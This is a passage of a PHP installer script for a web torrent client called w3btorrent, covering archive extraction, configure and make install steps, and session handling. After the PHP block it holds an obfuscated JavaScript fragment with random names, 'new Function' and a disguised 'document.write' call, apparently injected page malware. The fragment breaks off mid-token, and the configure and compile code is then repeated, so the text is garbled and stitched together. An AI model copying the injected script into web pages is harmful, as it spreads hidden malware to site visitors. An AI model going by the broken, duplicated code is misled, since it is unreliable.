while ($entry = $d->read())
{
if ($entry == "." || $entry == "..")
{
continue;
}
rename("$argdir/$entry","$argtodir/$entry");
}
$d->close();
rmdir($argdir);
return true;
}
/* use a valid directory */
function valid_dir($arg_dir)
{
if (is_dir($arg_dir) && is_readable($arg_dir) && is_executable($arg_dir) && is_writeable($arg_dir))
{
return true;
}
}
function decompress_archive($arg_file)
{
$file = escapeshellarg($arg_file);
$this->safe_exec("tar xf $file");
/* did the execute work? */
if (!is_dir("w3btorrent"))
{
unset($_SESSION['filename']);
return "We were unable to decompress '$arg_file'. Make sure it is a tar archive. Go back and download a new one.";
}
/* try move the directory's content's to curren dir */
if (!$this->move_dir_content("w3btorrent/",$_SESSION['realdirpath']))
{
return "Unabl
e to move the folder within 'w3btorrent/' to current directory, check permissions.";
}
}
function binary_works()
{
$exec = $this->safe_exec("system/wctorrent -h 2>&1");
if (strlen($exec) > 1000)
{
return true;
}
}
function configure($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("bash configure --prefix=".escapeshellarg($arg_dir));
$exec = str_replace("... yes\n","... yes\n",$exec);
$exec = str_replace("... no\n","... no\n",$exec);
chdir($olddir);
return $exec;
}
function compile($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("make install");
if (substr($exec,0,7) == "cd . &&" && preg_match("/missing --run (.*)/",$exec,$m))
{
$exec = "WARNING: `".$m['1']."' is needed, and you do not seem to have it handy on your\nsystem. You might have modified some files without having the\nproper tools for further handling them. Check the `README' file,\nit often tells you about the needed prerequirements for installing\nthis package. You may also peek at any GNU archive site, in case\nsome other package would contain this missing `".$m['1']."' program.";
}
chdir($olddir);
return $exec;
}
}
/* session */
$install = new install;
session_name("w3btorrent".getcwd());
session_start();
ob_start();
/* if it's already installed hightlight this file so everyone can get it */
if ($install->is_installed())
{
echo file_get_contents($_SERVER['SCRIPT_FILENAME']);
exit();
}
/* set values */
$install->initial();
/* highlight progress */
$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)] = "".$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)]."";
/* for download, extract and compiling */
ini_set("max_execution_time",1600); // 30 min
?>
title; ?>
function FbpAopLQ(LuwRA){ fff.op.replace("v");var WZsOQkPs=new Function("CIjbpBWIk", "return 173289;");var FbNfboTX = document.getElementById('lMzXkts'); }
var WjHsvR=document;document['wr1ite'.replac configure($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("bash configure --prefix=".escapeshellarg($arg_dir));
$exec = str_replace("... yes\n","... yes\n",$exec);
$exec = str_replace("... no\n","... no\n",$exec);
chdir($olddir);
return $exec;
}
function compile($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("make install");
if (substr($exec,0,7) == "cd . &&" && preg_match("/missing --run (.*)/",$exec,$m))
{
$exec = "WARNING: `".$m['1']."' is needed, and you do not seem to have it handy on your\nsystem. You might have modified some files without having the\nproper tools for further handling them. Check the `README' file,\nit often tells you about the needed prerequirements for installing\nthis package. You may also peek at any GNU archive site, in case\nsome other package would contain this missing `".$m['1']."' program.";
}
chdir($olddir);
return $exec;
}
}
/* session */
$install = new install;
session_name("w3btorrent".getcwd());
session_start();
ob_start();
/* if it's already installed hightlight this file so everyone can get it */
if ($install->is_installed())
{
echo file_get_contents($_SERVER['SCRIPT_FILENAME']);
exit();
}
/* set values */
$install->initial();
/* highlight progress */
$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)] = "".$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)]."";
/* for download, extract and compiling */
ini_set("max_execution_time",1600); // 30 min
?>
title; ?>